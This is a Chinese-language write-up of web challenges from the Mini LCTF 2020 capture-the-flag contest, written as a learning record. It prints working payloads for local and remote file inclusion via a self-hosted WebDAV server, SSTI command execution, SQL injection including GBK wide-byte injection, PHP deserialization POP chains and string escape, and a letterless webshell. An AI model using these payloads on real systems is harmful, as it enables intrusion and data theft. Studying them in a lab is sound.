Mini LCTF 2020是西电的招新赛,题目比较简单(假的),但对于本web菜狗来说也学到了很多,要经常提醒自己要多做总结,注意细节
include
打开是源码
```php
<?php
error_reporting(0);
$id= $_COOKIE["ID"];
show_source(FILE);
if(unserialize($id) === "$admin")
{
include("next.php");
$key = @$_REQUEST['key'];
if(preg_match('/p@d/is',$key)){
show_source("next.php");
}
}
?>
<?php
//hint
$admin = 'm0ectf';
?>
```
第一层直接传ID
,考验基本工吧,传参这些的
来到第二层 访问TE9PS0hFUkU=.html
,会发现302转跳到百度,抓下包看有什么
```
base64后 Oh%21Go%20%20f1na1.php
```
第三层 f1na1.php
有一个文件读取,但是有过滤,测试大小写可以绕对php的绕过
伪协议读下源码
```php
/f1na1.php?file=Php://filter/read=convert.base64-encode/resource=f1na1.Php
<?php
error_reporting(0);
if(!$_GET
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")||strstr($file,"php")){
echo "Hacker!";
exit();
}
include($file);
?>
hint.php
<p>Flag is here.</p>
```
f1na1.php中stristr
不分大小写,strstr
区分大小写,所以大小写可以绕php,但是绕不过其他的
hint.php 中可以提示有flag在这个目录中,但是文件名不知道,目标就是扫目录了
引入一个知识点
RFI 绕过 URL 包含限制 getshell
https://paper.seebug.org/923/
https://www.anquanke.com/post/id/201060#h3-9c
php version 5.2
以后php.ini
配置中默认关闭了allow_url_include
,而RFI包含执行需要
allow_url_fopen=On
allow_url_include=On
allow_url_fopen
和allow_url_include
主要是针对两种协议起作用:http://
、 ftp://
,可以通过SMB
、WebDAV
绕过此限制
阿里云服务器上打不开445端口,所以放弃了SMB
搭建,转向WebDAV
doker搭建
```
docker run -v ~/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
/webdav/data里写共享文件
```
本来是想写shell的,但是没得权限写shell,扫一下目录
```
/webdav/data/5
<?php
system("dir");
phpinfo();
```
包含一下
有一个ZmxhZ2ZsQGcxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjMxMjM.txt
,直接访问就是flag
```
Congratulations! BTW: Don't break my env tks
Here is flag:
minil{ad87a2c369637dc51895cb557c98481c}
```
签到题
直接给了shell
php
<?system($_GET['a'])?>
<?highlight_file(__FILE__)?>
<?//hint: 题目机子没有外网
ls /
有个/readflag
,执行但是并没有输出flag,试试输入一个yes
```
?a=/readflag
do you want the flag?
?a=echo yes | /readflag
do you want the flag?really?
?a=echo yes yes| /readflag
do you want the flag? really? then calculate 11+62=?
?a=echo yes yes 124| /readflag
写个脚本爆破就行
```
```python
import requests
u = 'http://d1eb8b9d09bb156cbef0926a56b23c7d.challenge.mini.lctf.online:1080/'
while True:
t = requests.get(u, params={
'a': 'echo yes yes 88 | /readflag'
}).text
if "mini" in t:
print(t)
```
还有种非预期,echo yes| /readflag
爆破也行,当第一个参数为0可以出flag,最后问出题人是因为重复用了一个变量导致非预期
Personal_IP_Query
题目提示 Your IP
猜测是X-Forwarded-For
对输出有影响,最后测出是ssti,但是过滤了很多东西像下划线,引号全没了,只能用传参来绕
```python
?c=class&b=bases&s=subclasses&i=init&g=globals&bt=builtins&d=import('os').popen('cat /flag').read()
X-Forwarded-For: {{[][request.args.c][request.args.b][0]request.args.s[76][request.args.i][request.args.g][request.args.bt].eval(request.args.d)}}
```
将其中的request.args
改为request.values
则利用post的方式进行传参绕过
ezbypass
第一层注入
1"|| 1 #
可以绕过登录,并且回回显用户名密码 ,然而过滤了很多东西,无法正常的查数据,这里可以结合回显用一手offset
payload : logname=" || 1 limit 1 offset 3#&logpass=123
回显
alert('Username:Flag_1s_heRe nPassword:goto /flag327a6c4304a')
第二层 /flag327a6c4304a/
```php
<?php
include ('flag.php');
error_reporting(0);
function filter($payload){
$key = array('php','flag','xdsec');
$filter = '/'.implode('|',$key).'/i';
return preg_replace($filter,'hack!!!!',$payload);
}
$payload=$_GET['payload'];
$fuck['mini']='nb666';
$fuck['V0n']='no_girlfriend';
if(isset($payload)) {
if (strpos($payload, 'php') >=0 || strpos($payload, 'flag')>=0 || strpos($payload, 'xdsec')>=0) {
$fuck['mini']=$payload;
var_dump(filter(serialize($fuck)));
$fuck=unserialize(filter(serialize($fuck)));
var_dump($fuck);
if ($fuck['V0n'] === 'has_girlfriend') {
echo $flag;
} else {
echo 'fuck_no_girlfriend!!!';
}
}else{
echo 'fuck_no_key!!!';
}
}else{
highlight_file(FILE);
}
```
随便传一个payload就会出序列化值,然后就就平常的反序列化逃逸
```php
a:2:{s:4:"mini";s:4:"1213";s:3:"V0n";s:13:"no_girlfriend";}
目标序列化
a:2:{s:4:"mini";s:4:"1213";s:3:"V0n";s:14:"has_girlfriend";}
mini 可控,需要挤出 ";s:3:"V0n";s:14:"has_girlfriend";} 35个字符, 7php -> hack!!!! 刚好 75=35,那么传入payload
phpphpphpphpphpphpphp";s:3:"V0n";s:14:"has_girlfriend";}
```
就有flag了
Let's_Play_Dolls
pop链然后无参数rce
```php
<?php
error_reporting(0);
if(isset($_GET['a'])){
unserialize($_GET['a']);
}
else{
highlight_file(FILE);
}
class foo1{
public $var='';
function __construct(){
$this->var='phpinfo();';
}
function execute(){
if(';' === preg_replace('/[^W]+((?R)?)/', '', $this->var)) {
if(!preg_match('/header|bin|hex|oct|dec|na|eval|exec|system|pass/i',$this->var)){
eval($this->var);
}
else{
die("hacked!");
}
}
}
function __wakeup(){
$this->var="phpinfo();";
}
function __desctuct(){
echo '<br>desctuct foo1</br>';
}
}
class foo2{
public $var;
public $obj;
function __construct(){
$this->var='hi';
$this->obj=null;
}
function __toString(){
$this->obj->execute();
return $this->var;
}
function __desctuct(){
echo '<br>desctuct foo2</br>';
}
}
class foo3{
public $var;
function __construct(){
$this->var="index.php";
}
function __destruct(){
if(file_exists($this->var)){
echo "<br>".$this->var."exist</br>";
}
echo "<br>desctuct foo3</br>";
}
function execute(){
print("hi");
}
}
```
payload
```php
<?php
class foo1{
public $var='';
}
class foo2
{
public $var;
public $obj;
}
class foo3{
public $var;
}
$f1 = new foo1();
$f2 = new foo2();
$f3 = new foo3();
$f3 ->var = $f2;
$f2 ->obj = $f1;
$f1 ->var = "var_dump(scandir(getcwd()));";
echo serialize($f3);
O:4:"foo3":1:{s:3:"var";O:4:"foo2":2:{s:3:"var";N;s:3:"obj";O:4:"foo1":1:{s:3:"var";s:28:"var_dump(scandir(getcwd()));";}}}
绕一下wakeup
最后payload O:4:"foo3":2:{s:3:"var";O:4:"foo2":2:{s:3:"var";N;s:3:"obj";O:4:"foo1":1:{s:3:"var";s:28:"var_dump(scandir(getcwd()));";}}}
```
遍历出 youCanGet1tmaybe文件 直接访问flag到手
are you reclu3e?
开始没有思路做,后面提示了vim ,就想到swp文件,下到了index.php 和login.php源码
```php
index.php
<?php
include "flag.php";//$flag="minilctf{****}";
session_start();
if (empty($_SESSION['uid'])) {
include "loginForm.html";
}
else{
echo '<h1>Hello, reclu3e!</h1>';
$p=unserialize(isset($_GET["p"])?$_GET["p"]:"");
}
?>
<?php
class person{
public $name='';
public $age=0;
public $weight=0;
public $height=0;
private $serialize='';
public function __wakeup(){
if(is_numeric($this->serialize)){
$this->serialize++;
}
}
public function __destruct(){
@eval('$s="'.$this->serialize.'";');
}
}
login.php
<?php
include "connection.php";
mysqli_query($conn, "SET CHARACTER SET 'gbk'");
$username=addslashes($_POST['username']);
$password=addslashes($_POST['password']);
$msg='';
if(empty($username)){
$msg='please post your username';
}
else{
$sql="select * from users where username='$username'";
$result=mysqli_query($conn,$sql);
if($result){
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
}
if(empty($row)){
$msg='you are not reclu3e';
}
else{
if($row['password']!==$password){
$msg='I know you are reclu3e but you need post the right password';
}
else{
session_start();
$_SESSION['uid'] = $username;
echo '<script>alert("Yes! you are reclu3e")</script>';
}
}
}
if(!empty($msg)){
echo "<script>alert('$msg')</script>";
}
$conn->close();
echo "<script type='text/javascript'>";
echo "window.location.href='index.php'";
echo "</script>";
```
明显login.php有宽字节注入,切password是拿出来单独验证,所以这里用union绕一下
payload:username=%df%27 union select 1,1#&password=1
然后又是玩烂了的反序列化了,23333 ,flag在flag.php里
```php
<?php
class person{
public $name ='';
public $age =0;
public $weight=0;
public $height=0;
public $serialize='1";?><?php show_source("flag.php");?>';
}
$a = new person();
echo serialize($a);
ps:wakeup不用绕,也绕不了 xs
```
id_wife
随便注换了一个前端,但是看到了西电大师傅的靓照 血赚
sql
id=w1nd');handler `1145141919810` open as yun;handler yun read first;handler yun read next;
P
第一层改序列化得源码
php
<?php
include 'classes.php';
if (!isset($_COOKIE['git'])) {
ob_start();
setcookie('git', base64_encode(serialize(new gitee('index.php'))));
echo '<script>location.reload()</script>';
ob_end_flush();
die();
}
$comp = unserialize(base64_decode($_COOKIE['git']));
highlight_file($comp->file);
echo '<br>';
setcookie('git', base64_encode(serialize(new gitee('index.php'))));
,我们可以在cookie中base64后看序列化后的数据
O:5:"gitee":1:{s:4:"file";s:9:"index.php";}
index.php 改成class.php就可以看到classes.php的源码
O:5:"gitee":1:{s:4:"file";s:11:"classes.php";}
第二层 无字符webshell
php
<?php
class gitee {
function __destruct() {
echo '你用上了Git,可是,代价是什么呢(悲)';
}
function __construct($f) {
$this->file = $f;
}
}
class github {
public $cmd = '';
function __destruct() {
if (preg_match("/[A-Za-oq-z0-9$]+/", $this->cmd))
die("cerror");
$blacklist = "~!@#%^&*()()-_{}[]'":,";
foreach(str_split($blacklist) as $char) {
echo $char;
if(strchr($this->cmd, $char) !== false)
die('serror');
}
eval($this->cmd);
}
public function __wakeup() {
if ($_SERVER["HTTP_X_REAL_IP"] !== '127.0.0.1') {
// proxy_set_header X-Real-IP $remote_addr;
die('across the great ... nope');
}
}
}
payload:
``php
. /??p/p?p??????`;?>';
<?php
class github {
public $cmd = '?><?=
public $file = "index.php";
}
echo serialize(new github());
```
关于SSRF漏洞的文章,读者也许已经读过很多了,例如,有的SSRF漏洞甚至能够升级为RCE漏洞——尽管这是大部分攻击者的终极目标,但本文介绍的重点,却是SSRF经常被忽略的影响:对于应用程序逻辑的影响。 在这篇文章中,我们将为您讲述一个无需身份验证的SSRF漏…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论